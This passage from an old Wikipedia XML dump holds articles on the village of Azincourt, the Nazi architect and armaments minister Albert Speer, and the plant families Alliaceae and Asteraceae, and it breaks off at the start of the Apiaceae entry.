[[Category:Films directed by Fred Zinnemann|Man for All Seasons, A]]</text>
    </revision>
  </page>
  <page>
    <title>Azincourt</title>
    <id>953</id>
    <revision>
      <id>37220201</id>
      <timestamp>2006-01-29T15:33:33Z</timestamp>
      <contributor>
        <username>TheFEARgod</username>
        <id>381244</id>
      </contributor>
      <minor />
      <text xml:space="preserve">:''For other uses of Agincourt, see [[Agincourt]].''

'''Azincourt''' (sometimes: '''Agincourt''') is a village and [[commune in France|commune]] of northern [[France]] in the [[Pas-de-Calais]] ''[[départment]]'', 14 miles to the north-west of [[Saint-Pol-sur-Ternoise]] by road, famous on account of the victory, on [[October 25]] [[1415]], of [[Henry V of England]] over the French in the [[Battle of Agincourt]]. Population (1999): 276.

The original museum of the battle featuring model knights fabricated from [[Action Man]] has given way to a more professional space with slide shows, audio commentary's and some interactive elements. The museum building is itself modelled on the [[English longbow]] of the English soldiers. 

[[Category:Communes of Pas-de-Calais]]
{{PasdeCalais-geo-stub}}

[[fr:Azincourt]]
[[it:Azincourt]]
[[nl:Azincourt]]
[[pl:Azincourt]]
[[sr:Азенкур]]
[[sv:Agincourt]]</text>
    </revision>
  </page>
  <page>
    <title>Albert Speer</title>
    <id>954</id>
    <revision>
      <id>42134522</id>
      <timestamp>2006-03-04T01:22:13Z</timestamp>
      <contributor>
        <username>Clngre</username>
        <id>30878</id>
      </contributor>
      <minor />
      <comment>rv accidently to wrong version for last rv</comment>
      <text xml:space="preserve">:''For the son of Albert Speer, also an architect, see [[Albert Speer (the younger)]]''
[[Image:speer portrait.jpg|right|thumb|200px|Albert Speer]]

{{Audio|De-Albert_Speer.ogg|'''Albert Speer'''}} ([[March 19]], [[1905]] &amp;ndash; [[September 1]], [[1981]]) was born ''Berthold Konrad Hermann Albert Speer'' in [[Mannheim]], [[Germany]], the second of three sons. He is sometimes called 'the first architect of the [[Third Reich]]'. He  was [[Hitler|Hitler's]] chief [[architect]] in [[Nazi Germany]] and in [[1942]] became Hitler's minister of armaments, when he had considerable success in reforming and streamlining Germany's war production. After the war he was tried at [[Nuremberg trials|Nuremberg]] where he expressed remorse and was sentenced to 20 years in prison. After his release, he became a successful author, writing a number of semi-autobiographical works until his death in 1981 from a [[cerebral hemorrhage]].

==Early years==
Although Speer originally wanted to become a [[mathematics|mathematician]] when he was young, he ended up following in the footsteps of his father and grandfather and studied architecture. He began his architectural studies at the Karlsruhe Institute of Technology; his decision to study locally instead of at one of the more prestigious institutes was dictated by the inflation of 1923. In 1924 when the inflation had stabilised, Speer transferred his studies to the more esteemed Munich Institute of Technology. In 1925 he transferred again, this time to the Berlin Institute of Technology. It was there that he was under the tutelage of [[Heinrich Tessenow]], Speer had a high regard for Tessenow and when he passed his exams in 1927 he became Tessenow's assistant. His duties as assistant involved teaching seminar classes three days a week. Although Tessenow himself never agreed with [[Nazism]], a number of his students did, and it was they who persuaded Speer to attend a [[Nazi Party]] rally in a Berlin beer-hall in December 1930. 

Speer claims to have been apolitical as a young man; nevertheless, he did attend the rally. He was surprised to find Hitler dressed in a neat blue suit, rather than the brown uniform seen on Nazi Party posters. Speer claimed to have been quite affected, not only with Hitler's proposed solutions to the threat of communism and his renunciation of the [[Treaty of Versailles]], but also with the man himself. Several weeks later he attended another rally, though this one was presided over by [[Goebbels|Joseph Goebbels]]. Speer was disturbed by the way he had whipped the crowd into a frenzy, playing on their hopes. Although Goebbels' performance offended Speer, he could not shake the impressions Hitler made on him. The next day he joined the Nazi Party as member number 474,481. In this same year ([[1931]]) he married [[Margarete Weber]].

Speer's first major commission as a Party member came in [[1932]] when [[Karl Hanke]] (whose [[villa]] Speer previously worked on) recommended him to Goebbels to help renovate the new District Headquarters in [[Berlin]], and, later, to renovate Goebbels' [[Propaganda]] Ministry.  Goebbels was impressed with his work and recommended him to Hitler, who assigned him to help [[Paul Troost]] renovate the Chancellery in Berlin.  Speer's most notable work on this assignment was the addition of the famous balcony from which Hitler often presented himself to crowds that assembled below. Speer subsequently became a prominent member of Hitler's inner circle and a very close friend to him, winning a special place with Hitler that was unique amongst the Nazi leadership. Hitler, according to Speer, was very contemptuous towards anybody he viewed as part of the [[bureaucracy]], and prized fellow artists like Speer whom he felt a certain kinship with, especially as Hitler himself had previously entertained architectural ambitions.

==First Architect of the Reich==
When Troost died in [[1934]], Speer was chosen to replace him as the Party's chief architect.  One of his first commissions after promotion was perhaps the most familiar of his designs: the [[Zeppelintribune]], the [[Nuremberg]] parade grounds seen in [[Leni Riefenstahl]]'s propaganda masterpiece, ''[[Triumph of the Will]]''. In his autobiography, Speer claimed that, upon seeing the original design, he made a derogatory remark to the effect that the parade ground would resemble a &quot;rifle club&quot; meet. He was then challenged to create a new design.

The grounds were based on ancient [[Doric order|Doric]] architecture of the [[Pergamon Altar]] in [[Anatolia]], but magnified to an enormous scale, capable of holding two hundred and forty thousand people.  At the 1934 Party rally on the parade grounds, Speer surrounded the site with one hundred and thirty [[anti-aircraft]] [[searchlight|searchlights]].  This created the effect of a &quot;cathedral of light,&quot; (which referenced [[columns]]) or, as it was called by [[United Kingdom|British]] [[Ambassador|Ambassador]] [[Sir Neville Henderson]], a &quot;cathedral of ice&quot;.

Nuremberg was also to be the site of many more official Nazi buildings, most of which were never built; for example, the German Stadium would have held another four hundred thousand spectators as the site of the [[Aryan Games]], a proposed replacement for the [[Olympic Games]].  While planning these buildings, Speer invented the theory of &quot;[[ruin value]].&quot;  According to this theory, enthusiastically supported by Hitler, all new buildings would be constructed in such a way that they would leave aesthetically pleasing ruins thousands of years in the future.  Such ruins would be a testament to the greatness of the [[Third Reich]], just as ancient [[Ancient Greece|Greek]] or [[Ancient Rome|Roman]] ruins were symbols of the greatness of their civilizations.  
&lt;!-- Image with unknown copyright status removed: [[Image:German pavilion 1937 exhibition.jpg|frame|right|Speer's German pavilion at the [[Exposition Internationale des Arts et Techniques dans la Vie Moderne (1937)|1937 international exposition in Paris]].]] --&gt;

In [[1937]] Speer designed the [[Germany|German]] Pavilion for the [[Exposition Internationale de Arts et Techniques dans la Vie Moderne (1937)|1937 international exposition in Paris]]. Speer's work was located directly across from the [[Soviet Union|Soviet]] Pavilion and was designed to represent a massive defense against the onslaught of [[communism]]. Both pavilions were awarded gold medals for their designs.

Speer was also directed to make plans to rebuild Berlin, which was to become the [[capital]] of a &quot;Greater Germany&quot; &amp;mdash; [[Welthauptstadt Germania]]. The first step in these plans was the [[Olympic Stadium, Berlin|Olympic Stadium]] for the [[1936 Summer Olympics]], designed by [[Werner March]]. Speer also designed the [[new German Reichs Chancellery|new Reichs Chancellery]], which included a vast hall designed to be twice as long as the [[Hall of Mirrors]] in the [[Palace of Versailles]].  Hitler wanted him to build a third, even larger Chancellery, although it was never begun.  The second Chancellery was damaged by the [[Battle of Berlin]] in [[1945]] and was eventually demolished  by the Soviet occupiers after the war.
[[Image:Adolf Hitler in Paris.jpg|thumb|left|210px|Speer (left) with Hitler and [[Arno Breker]] in Paris, [[June 23]], [[1940]].]]

Almost none of the other buildings planned for Berlin were ever built. Berlin was to be reorganized along a central three-mile-(five km) long avenue.  At the north end, Speer planned to build the ''[[Volkshalle]]'' &amp;mdash; an enormous [[dome|domed]] building, based on [[St. Peter's Basilica]] in [[Rome]].  The dome of the building would have been impractically large; it would be over seven hundred feet (over two hundred meters) high and eight hundred feet (three hundred meters) in diameter, sixteen times larger than the dome of St. Peter's.  At the southern end of the avenue would be an [[arch]] based on the [[Arc de Triomphe]] in Paris, but again, much larger; it would be almost four hundred feet (120 m) high, and the Arc de Triomphe would have been able to fit inside its opening.  The outbreak of [[World War II]] in [[1939]] led to the abandonment of these plans.

During his involvement in the rebuilding of Berlin, he was allegedly responsible for the forced evictions of [[Jew]]s from their houses to make room for his grand plans, and for re-housing German citizens affected by this work. He was also listed as being present at the 1943 [[Posen Conference]], a charge Speer later contested by saying that he had in fact left early.

Speer did have an architectural rival: [[Hermann Giesler]], whom Hitler also favored.  There were frequent clashes between the two in regard to architectural matters and in closeness to Hitler.

==Minister of Armaments==
Hitler was always a strong supporter of Speer, in part because of Hitler's own frustrated artistic and architectural visions. A strong affinity developed between Hitler and the ambitious young architect early in their professional relationship. For Speer, serving as architect for the head of the German state and being given virtual ''carte blanche'' as to expenses, presented a tremendous opportunity. For Hitler, Speer seemed to be capable of translating Hitler's grandiose visions into tangible designs which expressed what Hitler felt were [[Nazism|National Socialist]] principles.

After Minister of Armaments and War Production [[Fritz Todt]] was killed in an airplane crash in [[1942]], Hitler appointed Speer as his successor in all of his posts. Hitler's affinity for Speer and the architect's efficiency and avoidance of party squabbling are believed to have been considerations in Speer's promotion. In his autobiography, Speer recounts that the power-hungry but lazy [[Hermann Göring]] raced to Hitler's headquarters upon word of Todt's death, hoping to claim the office. Hitler instead presented Göring with the ''fait accompli'' of Speer's appointment. 

Faced with this new responsibility, Speer tried to put the German economy on a war footing comparable to that of the [[Allied]] nations, but found himself incessantly hindered by party politics and lack of cooperation from the Nazi hierarchy. Nevertheless, by slowly centralizing almost all industry control and cutting through the dense [[bureaucracy]], he succeeded in multiplying war production four times over the next two and a half years, with it actually reaching its peak in 1944 during the height of the [[Allied]] [[Strategic bombing during World War II | strategic bombing campaign]]. Another big hurdle in his way was the Nazi policy excluding women from factory work, a serious hindrance in war production and a problem unknown to Germany's enemies, who all made full use of the female workforce. To fill this gap, Speer made heavy use of foreign labor, a considerable portion of it [[forced labor]].

Speer was considered one of the more &quot;rational&quot; members of the Nazi hierarchy, in contrast to the raging [[Hitler]], grotesque [[Hermann Göring|Göring]], fanatical [[Goebbels]], and perverse [[Himmler]].
Speer's name was found on the list of members of a post-Hitler government envisioned by the [[July 20 plot]] to kill Hitler.
However, the list had an annotation &quot;if possible&quot; by his name, which Speer credits with helping save his life from the extensive purges that followed the scheme's failure.
By his own account, Speer considered [[assassin|assassinating]] Hitler in [[1945]] by releasing poison gas into the air intake vent on the [[Führerbunker]], but backed down for a number of reasons. Independent evidence for this is sparse. Some credit his revelation of this plan at the [[Nuremberg trials]] as being pivotal in sparing him the [[death sentence]], which the [[Soviet]]s had pushed for.

Hitler continued to consider Speer trustworthy, though this trust waned near the war's end as Speer, at considerable risk, campaigned clandestinely to prevent the implementation of Hitler's [[scorched earth]] policy on both German soil and occupied territories. Speer worked in association with General [[Gotthard Heinrici]], whose troops fighting in the east retreated to the American-held lines and surrendered there instead of following Hitler's orders to make what would have been a suicidal effort to hold off the Soviets from Berlin.

Speer even confessed to Hitler shortly before the dictator's suicide that he had disobeyed, and indeed actively hindered, Hitler's &quot;scorched-earth&quot; decree.
According to Speer's autobiography, Speer visited the [[Führerbunker]] towards the end and stated gently but bluntly to Hitler that the war was lost and expressed his opposition to the systematic destruction of Germany while reaffirming his affection and faith in Hitler. This conversation, it is said, brought Hitler to tears. In disfavor, Speer was excluded from the new cabinet Hitler outlined in his [[Last will and testament of Adolf Hitler |  final political testament]], where Speer was to be replaced by his subordinate, [[Karl-Otto Saur]].

==After the war==
[[Image:Albert-Speer-72-929.jpg|thumb|left|230px|Speer at the Nuremberg Trials]]
===Nuremberg trials===
Immediately after the war, there seemed to be little indication that Speer would be charged with [[war crimes]]. Speer traveled unprotected and openly participated in the so-called [[Flensburg government]] for weeks, in the presence of Allied officers. Upon request, he actually held a series of widely-attended lectures for officials of the Allied occupying powers on various topics, including the mistakes made by the Nazi government in industrial and economic affairs (although he never during these lectures spoke about slave labor) and the effectiveness of the Allied [[strategic bombing]] campaigns. Some [[journalists]] and spectators even expected that Speer would be appointed by the occupying powers to help restore Germany's economy. However, any such speculation ended when, after one of these lectures, he was arrested and sent to Nuremberg for trial.
At the [[Nuremberg trials]] after the war Speer was one of the few officials to express remorse and plead guilty, but was sentenced to 20 years' imprisonment in [[Spandau Prison]], [[West Berlin]], largely for his use of slave labor. At the trials, the prosecution introduced as evidence a photograph of Speer visiting the [[Mauthausen]] [[concentration camp]], where he is clearly shown surrounded by emaciated prisoners. The prosecution claimed this proved Speer was well aware of [[The Holocaust|the Holocaust]]. However, Speer held that he was only given a &quot;V.I.P.&quot; tour of the concentration camp, meaning he was never shown the more vile side of the camp's purpose.

According to interviews after his imprisonment, as well as his memoirs, Speer adopted a &quot;see no evil&quot; attitude towards the Nazi atrocities. For example, through one of his friends, [[Karl Hanke]], he learned of [[Auschwitz (concentration camp)|Auschwitz]] and the large number of deaths taking place there. He then purposely avoided visiting the camp or trying to get more information on what was taking place. In his autobiography, he claims that he had no direct involvement or knowledge of the Holocaust, although he faults himself for blinding himself to its existence. He certainly was aware, at least, of harsh conditions for the slave labor and some critics believe that his books understate his role in the atrocities of the era.  [http://news.telegraph.co.uk/news/main.jhtml?xml=/news/2005/05/11/wspeer11.xml Newly released documents] suggest that Speer knew a lot more about the atrocities than he was telling, but hard evidence for that remains very thin.

One problem with assessments of Speer's complicity in the Holocaust comes from his status in post-war Germany - he became a symbol for people who were involved with the Nazi regime yet did not have (or claimed not to have had) any part in the regime's atrocities. Even today, German historians such as [[Joachim Fest]] tend to have a high opinion of him, while non-German historians take a lower view. As [[film director]] [[Heinrich Breloer]] remarked in the above-linked article:

::''[Speer created] a market for people who said &quot;believe me, I didn't know anything about [the Holocaust]. Just look at the Führer's friend, he didn't know about it either.&quot;''

===Imprisonment===
:''Main article: [[Spandau Prison]]''

His time in prison, painstakingly documented in his secret prison diary which was later released as ''[[The Spandau Diaries]]'', was described as consisting mainly of a mind-numbing and pedantically enforced daily routine, incessant petty personal rivalry between the seven prisoners, a pervasive and bloated prison [[bureaucracy]], and the passing of many false hopes of premature release. After some time Speer, and most of the others, had established secret lines of communication to the outside world via sympathetic prison staff. Speer made full use of this by, amongst other things, writing innumerable letters to his family (which were restricted to one outgoing page per month under official regulation) and even having money spent on his behalf from a special bank account for a variety of benign purposes.

Speer, as recounted in his diary, made a deliberate effort to make as productive use of his time as possible. In the first decade, this took the form of putting on paper the first draft of his tell-all [[memoirs]], an act Speer considered to be his &quot;duty&quot; to history and his people, he being the sole surviving member of Hitler's inner circle and in possession of knowledge and a degree of objectivity that no other had. As the prison directors both forbade the writing of a memoir and recorded each sheet of paper given to the prisoners, he wrote much of his memoir secretly on toilet paper, tobacco wrappings, and any other material he could get his hands on, and then had the pages systematically smuggled out.

All the while Speer devoted much of his energy and time towards reading books from the prison library, which was organized by fellow prisoner and ex-[[Grand Admiral]] [[Erich Raeder]]. Speer was, more so than the others, a voracious reader and he completed well over 500 books in the first three years alone.{{ref|spandau}} His tastes ranged from Greek drama to famous plays to architectural books and journals, partly from which he collected information for a book he intended to write on the history and function of windows in architecture.

Later, Speer took to the prison garden for enjoyment and work. Heretofore the garden was divided up into small personal plots for each prisoner with the produce of the garden being used in the prison kitchen. When regulations began to slacken in this regard, Speer was allowed to build an ambitious garden, complete with a meandering path, [[rock garden]], and a wide variety of flowers. The garden was even, humorously, centered around a &quot;north-south axis&quot;, which was to be the core design element of Speer and Hitler's new Berlin. Speer then took up a &quot;walking tour of the world&quot; by ordering geography and travel books from the local library and walking laps in the prison garden visualizing his journey. Meticulously calculating every metre traveled, he began in northern Germany, went through the [[Balkans]], [[Iran|Persia]], [[India]], and [[Siberia]], then crossed the [[Bering Strait]] and continued southwards, finally ending his sentence in central [[Mexico]].

===Release===
His release from prison in [[1966]] was a world-wide media event. He then revised and published the several semi-[[autobiography|autobiographical]] books he had begun in prison.  His books, most notably ''[[Inside the Third Reich]]'' and ''The Spandau Diaries'', which were secretly written during his incarceration and systematically smuggled out, provide a unique and personal look into the personalities of the Nazi era and have become much valued by historians. Speer died of a [[cerebral hemorrhage]] in [[London]], [[England]], on [[September 1]], [[1981]] — exactly 42 years after World War II began.

Speer's son, also named Albert, became a successful [[architect]] in his own right, and was responsible for the design of [[Expo 2000]] (the [[world exposition]] that took place in [[Hanover]] in the year 2000), design of the [[Shanghai]] International Automobile City and the Beijing Olympic complex. His daughter [[Hilde Schramm]] became a noted left-wing parliamentarian.

==See also==
* [[Inside the Third Reich]]
* [[List of Adolf Hitler books]]
* [[Nazi architecture]]

==Notes==
#{{note|spandau}}{{cite book
 | last = Fishman | first = Jack
 | title=Long Knives and Short Memories: The Spandau Prison Story
 | publisher=Breakwater Books
 | year=1986
 | id=ISBN 0920911005
 | pages =  pg 129
 }}

==Resources==
===Works===
* {{cite book
 | last = Speer | first = Albert
 | authorlink = Albert Speer
 | year = 1970
 | title = [[Inside the Third Reich]]
 | publisher = Simon &amp; Schuster
 | id = ISBN 0684829495
 }}
* {{cite book
 | last = Speer | first = Albert
 | authorlink = Albert Speer
 | year = 1976
 | title = Spandau: The Secret Diaries
 | publisher = Macmillan
 | id = ISBN 0026995018
 }}
* {{cite book
 | last = Speer | first = Albert
 | authorlink = Albert Speer
 | year = 1981
 | title = Infiltration: How [[Heinrich Himmler]] Schemed to Build an SS Industrial Empire
 | publisher = Macmillan
 | id = ISBN 0026128004
 }}

===Biographies===
* {{cite book
 | author = [[Joachim Fest]], [[Ewald Osers]] (translator), [[Alexandra Dring]]
 | year = 2002
 | title = Speer: The Final Verdict
 | publisher = Harcourt
 | id = ISBN 0151005567
 }}
* {{cite book
 | first = Dan | last = van der Vat
 | authorlink = Dan van der Vat
 | year = 1997
 | title = The Good Nazi: The Life and Lies of Albert Speer
 | publisher = George Weidenfeld &amp; Nicholson
 | id = ISBN 0297817213
 }}
* {{cite book
 | first = Gitta | last = Sereny
 | authorlink = Gitta Sereny
 | year = 1995
 | title = Albert Speer: His Battle With Truth
 | publisher = Knopf
 | id = ISBN 0394529154
 }}
* {{cite book
 | first = Matthias | last = Schmidt
 | authorlink = Matthias Schmidt
 | year = 1984
 | title = Albert Speer: The End of a Myth
 | publisher = St Martins Press
 | id = ISBN 031201709X
 }}

==External links==
{{Commons|Albert Speer}}
*[http://www.bbc.co.uk/bbcfour/audiointerviews/profilepages/speera1.shtml BBC - BBC Four - Audio Interviews - Albert Speer]
*[http://www.dataphone.se/~ms/speer/welcom2.htm A tribute to Speer's architecture]
*[http://www.us-israel.org/jsource/Holocaust/speer.html Testimony of Albert Speer at us-israel.org]
*[http://www.speer-und-er.de/ ''Speer und Er''] German docudrama broadcast in May 2005, presenting new incriminating evidence of Speer's role, e.g. in the construction of Auschwitz. In German
*[http://www.neue-reichskanzlei.de 3d animated Reich Chancellery]
{{Bunker}}
[[Category:1905 births|Speer, Albert]]
[[Category:1981 deaths|Speer, Albert]]
[[Category:German World War II people|Speer, Albert]]
[[Category:Nazi leaders|Speer, Albert]]
[[Category:German architects|Speer, Albert]]
[[Category:Nazi architecture]]
[[Category:Fascist/Nazi era scholars and writers|Speer, Albert]]
[[Category:People convicted in the Nuremberg Trials|Speer, Albert]]

[[br:Albert Speer]]
[[da:Albert Speer]]
[[de:Albert Speer]]
[[el:Άλμπερτ Σπερ]]
[[es:Albert Speer]]
[[fr:Albert Speer (senior)]]
[[it:Albert Speer]]
[[he:אלברט שפאר]]
[[ka:შპეერი, ალბერტ]]
[[hu:Albert Speer]]
[[nl:Albert Speer]]
[[ja:アルベルト・シュペーア]]
[[no:Albert Speer]]
[[pl:Albert Speer (ojciec)]]
[[pt:Albert Speer]]
[[ru:Шпеер, Альберт]]
[[sl:Albert Speer]]
[[fi:Albert Speer]]
[[sv:Albert Speer]]</text>
    </revision>
  </page>
  <page>
    <title>Alliaceae</title>
    <id>955</id>
    <revision>
      <id>39719977</id>
      <timestamp>2006-02-15T10:36:27Z</timestamp>
      <contributor>
        <username>Espetkov</username>
        <id>52780</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Alliaceae
| image = Ipheion uniflorum5.jpg
| image_width = 250px
| image_caption = ''Ipheion uniflorum''
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Liliopsida]]
| ordo = [[Asparagales]]
| familia = '''Alliaceae'''
| subdivision_ranks = Genera
| subdivision = 
See text.
}}

'''Alliaceae''' is a [[Family (biology)|family]] of herbaceous [[perennial]] plants. They are [[monocot]]s, part of [[Order (biology)|order]] [[Asparagales]].

Genus ''[[Allium]]'' includes several important food plants, including [[onion]]s (''Allium cepa''), [[chives]] (''A. schoenoprasum''), [[garlic]] (''A. sativum'' and ''A. scordoprasum''), and [[Leek (vegetable)|leek]]s (''A. porrum'').

The Alliaceae are closely related to two other families in the order Asparagales, the amaryllis family ([[Amaryllidaceae]]) and the family [[Agapanthaceae]], which includes the single genus ''[[Agapanthus]]''. Based on the close relationship between the three families, the [[Angiosperm Phylogeny Group]] recognizes the alternative of including the Amaryllidaceae and the Agapanthaceae in family Alliaceae.

== Genera ==
Several genera that were historically classified in the Alliaceae, including ''[[Androstephium]]'', ''[[Bessera]]'', ''[[Bloomeria]]'', ''[[Brodiaea]]'', ''[[Dandya]]'', ''[[Dichelostemma]]'', ''[[Milla]]'', ''[[Petronymphe]]'', ''[[Triteleia]]'', and ''[[Triteleiopsis]]'', are now increasingly thought to represent a separate family, [[Themidaceae]].

''[[Allium]]''&lt;br /&gt;
''[[Ancrumia]]''&lt;br /&gt;
''[[Caloscordum]]''&lt;br /&gt;
''[[Erinna]]''&lt;br /&gt;
''[[Garaventia]]''&lt;br /&gt;
''[[Gethyum]]''&lt;br /&gt;
''[[Gilliesia]]''&lt;br /&gt;
''[[Ipheion]]''&lt;br /&gt;
''[[Leucocoryne]]''&lt;br /&gt;
''[[Miersia]]''&lt;br /&gt;
''[[Milula]]''&lt;br /&gt;
''[[Muilla]]''&lt;br /&gt;
''[[Nectaroscordum]]''&lt;br /&gt;
''[[Nothoscordum]]''&lt;br /&gt;
''[[Solaria (genus)]]''&lt;br /&gt;
''[[Speea]]''&lt;br /&gt;
''[[Trichlora]]''&lt;br /&gt;
''[[Tristagma]]''&lt;br /&gt;
''[[Tulbhagia]]''&lt;br /&gt;
''[[Zoelnerallium]]''&lt;br /&gt;

[[Category:Plant families]]
[[Category:Asparagales]]

[[bg:Лукови]]
[[da:Løg-familien]]
[[de:Zwiebelgewächse]]
[[fr:Alliaceae]]
[[lt:Česnakiniai augalai]]
[[nl:Uienfamilie]]
[[pt:Alliaceae]]</text>
    </revision>
  </page>
  <page>
    <title>Asteraceae</title>
    <id>956</id>
    <revision>
      <id>41495585</id>
      <timestamp>2006-02-27T19:27:19Z</timestamp>
      <contributor>
        <username>AshishG</username>
        <id>172488</id>
      </contributor>
      <minor />
      <comment>/* Uses */ ''nectar'' disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Sunflowers
| image = Aster-alpinus.JPG
| image_width = 250px
| image_caption = ''Aster alpinus''
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Magnoliopsida]]
| ordo = [[Asterales]]
| familia = '''Asteraceae'''
| familia_authority = [[Martynov]], 1820
| synonyms = ''Compositae'' &lt;small&gt;[[Giseke]]&lt;/small&gt;
| diversity = About 900 genera and 13,000 species
| diversity_link = List of Asteraceae genera
| subdivision_ranks = Subfamilies
| subdivision = 
[[Barnadesioideae]]&lt;br&gt;
[[Cichorioideae]]&lt;br&gt;
:Tribe [[Arctotidae]]&lt;br&gt;
:Tribe [[Cardueae]]&lt;br&gt;
:Tribe [[Eremothamneae]]&lt;br&gt;
:Tribe [[Lactuceae]]&lt;br&gt;
:Tribe [[Liabeae]]&lt;br&gt;
:Tribe [[Mutisieae]]&lt;br&gt;
:Tribe [[Tarchonantheae]]&lt;br&gt;
:Tribe [[Vernonieae]]&lt;br&gt;
[[Asteriodeae]]&lt;br&gt;
:Tribe [[Anthemideae]]&lt;br&gt;
:Tribe [[Astereae]]&lt;br&gt;
:Tribe [[Calenduleae]]&lt;br&gt;
:Tribe [[Eupatorieae]]&lt;br&gt;
:Tribe [[Gnaphalieae]]&lt;br&gt;
:Tribe [[Helenieae]]&lt;br&gt;
:Tribe [[Heliantheae]]&lt;br&gt;
:Tribe [[Inuleae]]&lt;br&gt;
:Tribe [[Plucheae]]&lt;br&gt;
:Tribe [[Senecioneae]]&lt;br&gt;
'''See also [[List of Asteraceae genera]]'''
}}

The family '''Asteraceae''' or, alternatively, family '''Compositae''', known as the '''aster''', '''daisy''' or '''sunflower family''', is a taxon of [[dicot|dicotyledonous]] [[flowering plant]]s.  The family name is derived from the genus ''[[Aster (flower)|Aster]]'' and refers to the [[star]]-shaped flower head of its members, typified well by the [[daisy]].  The Asteraceae is the second largest family in the Division [[Flowering plant|Magnoliophyta]], with some 1,100 genera and over 20,000 recognized species. Only the orchid family ([[Orchidaceae]]) is larger, with about 25,000 described species.

Plants belonging to the Asteraceae must share ALL the following characteristics (Judd et al., 1999). None of these traits, taken separately, can be considered [[Synapomorphy|synapomorphic]].
* [[Inflorescence]]: a capitulum or flower head
* Syngenesious [[anther]]s, i.e. with the stamens fused together at their edges by the anthers, forming a tube
* [[Ovary]] with basal arrangement of the ovules
* [[Ovule]]s one per ovary
* Pappus (a tuft of hairs on a fruit)
* The fruit is an [[achene]]
* [[Terpene|Sesquiterpenes]] present in the essential oils, but iridoids lacking.

[[Image:Bidens_flwr.jpg|thumb|left|A typical Asteraceae flower head (here ''[[Bidens torta]]'') showing the individual flowers]]
The most common characteristic of all these plants, is that what in common parlance might be called a &quot;flower&quot;, is an inflorescence or '''flower head'''; a densely packed cluster of many small, individual [[flowers]], usually  called '''florets''' (meaning &quot;small flowers&quot;). 

Plants in the family Asteraceae typically have one or both of two kinds of ''florets''. The outer perimeter of a flower head like that of a [[sunflower]] is composed of florets possessing a long strap-like [[petal]], termed a '''ligule'''; these are the '''ray florets'''. The inner portion of the flower head (or ''disc'') is composed of small flowers with tubular [[petal|corolla]]s; these are the '''disc florets'''. The composition of asteraceous inflorescences varies from all ray flowers (like [[dandelion]]s, genus ''Taraxacum'') to all disc flowers (like [[pineapple weed]]s).

The composite nature of the inflorescences of these plants led early taxonomists to call this family the Compositae. Although the rules governing naming conventions for plant families state that the name should come from the [[biological type|type genus]], in this case ''Aster'' and thus Asteraceae. However, the long prevailing name Compositae is also authorized as an alternative family name ([[ICBN]] Art. 18.6). 

The numerous genera are divided into about 13 tribes. Only one of these, Lactuceae, is considered distinct enough to be a subfamily (subfamily Cichorioideae); the remainer, which are mostly overlapping, are put in the subfamily Asteroideae (Wagner, Herbst, and Sohmer, 1990).    

==Uses==
Commercially important plants in the Asteraceae include the food crops [[lettuce]], [[chicory]], [[globe artichoke]], [[sunflower]], and [[Jerusalem artichoke]]. [[Guayule]] is a source of [[hypoallergenic]] [[latex]].

Many members of Asteracae are copious [[nectar (plant)|nectar]] producers and are useful for evaluating [[pollinator]] populations during their bloom. ''Centaurea'' (knapweed), ''Helianthus annuus'' (domestic sunflower), and some species of ''Solidago'' (goldenrod) are major &quot;[[honey]] plants&quot; for [[beekeeper]]s. ''Solidago'' produces relatively high protein [[pollen]], which helps [[honeybee]]s overwinter.

Many members of the family are grown as ornamental plants for their flowers, e.g., [[chrysanthemums]] and some are important ornamental crops for the cut flower industry.  Some Asteraceae are economically important in the sense that they are considered noxious [[weeds]], e.g., [[dandelions]].

&lt;br clear = all /&gt;
[[Image:Ray.floret01.jpg|thumb|left|Ray floret : &lt;small&gt;A = ovary; B = pappus; C = theca; D = ligule; E = style with stigma &lt;/small&gt;]]
[[Image:Disc floret01.jpg|left|thumb|Disc floret : &lt;small&gt; A = ovary; B = tube of corolla with teeth of the corolla; C = theca; D = style with stigma &lt;/small&gt;]]
&lt;br clear= all /&gt;

== References ==
* [http://www.itis.usda.gov/servlet/SingleRpt/SingleRpt?search_topic=TSN&amp;search_value=35420 ITIS report 2002-09-10] 
* International Code of Botanical Nomenclature (ICBN, St. Louis Code). 1999. [http://www.bgbm.fu-berlin.de/iapt/nomenclature/code/SaintLouis/0000St.Luistitle.htm website] (Published as ''Regnum Vegetabile 138''. Koeltz Scientific Books, Königstein. ISBN 3904144227)
* Walters, Dirk R. and David J. Keil (1996). ''Vascular plant taxonomy''. 4th ed. Kendall/Hunt Publishing Company. Dubuque, Iowa.
* Wagner,W.L., D.R. Herbst, and S.H. Sohmer. 1990. ''Manual of the Flowering Plants of Hawai&amp;lsquo;i'', Vol. I. University of Hawaii Press, Honolulu. 988 pp. 
* Judd, W.S., C.S. Campbell, E.A. Kellogg, and P.F. Stevens. 1999. Plant Systematics: A Phylogenetic Approach. Sinauer Associates, Sunderland, MA.

[[Image:Gnaphalium supinum0.jpg|thumb|left|200px|''Helichrysum petiolare'']]


{{commonscat|Asteraceae}}

[[Category:Plant families]]
[[Category:Asteraceae| ]]

&lt;!--[[en:Asteraceae]]--&gt;

[[cs:Hvězdnicovité]]
[[da:Kurvblomst-familien]]
[[de:Korbblütengewächse]]
[[es:Asteraceae]]
[[eo:Asteracoj]]
[[fr:Asteraceae]]
[[it:Asteraceae]]
[[la:Asteraceae]]
[[lt:Astriniai augalai]]
[[mi:Asteraceae]]
[[nl:Composietenfamilie]]
[[ja:キク科]]
[[no:Kurvplantefamilien]]
[[nn:Korgplantefamilien]]
[[pl:Astrowate]]
[[pt:Asteraceae]]
[[sv:Korgblommiga växter]]
[[vi:Họ Cúc]]
[[zh:菊科]]</text>
    </revision>
  </page>
  <page>
    <title>Apiaceae</title>
    <id>957</id>
    <revision>
      <id>41545057</id>
      <timestamp>2006-02-28T01:40:36Z</timestamp>
      <contributor>
        <username>Berton</username>
        <id>549980</id>
      </contributor>
      <comment>+ link</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Carrot family
| image = QALace2675.JPG
| image_width = 240px
| image_caption = Flower of Wild Carrot (''Daucus carota'')
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Dicotyledon|Magnoliopsida]]
| ordo = [[Apiales]]
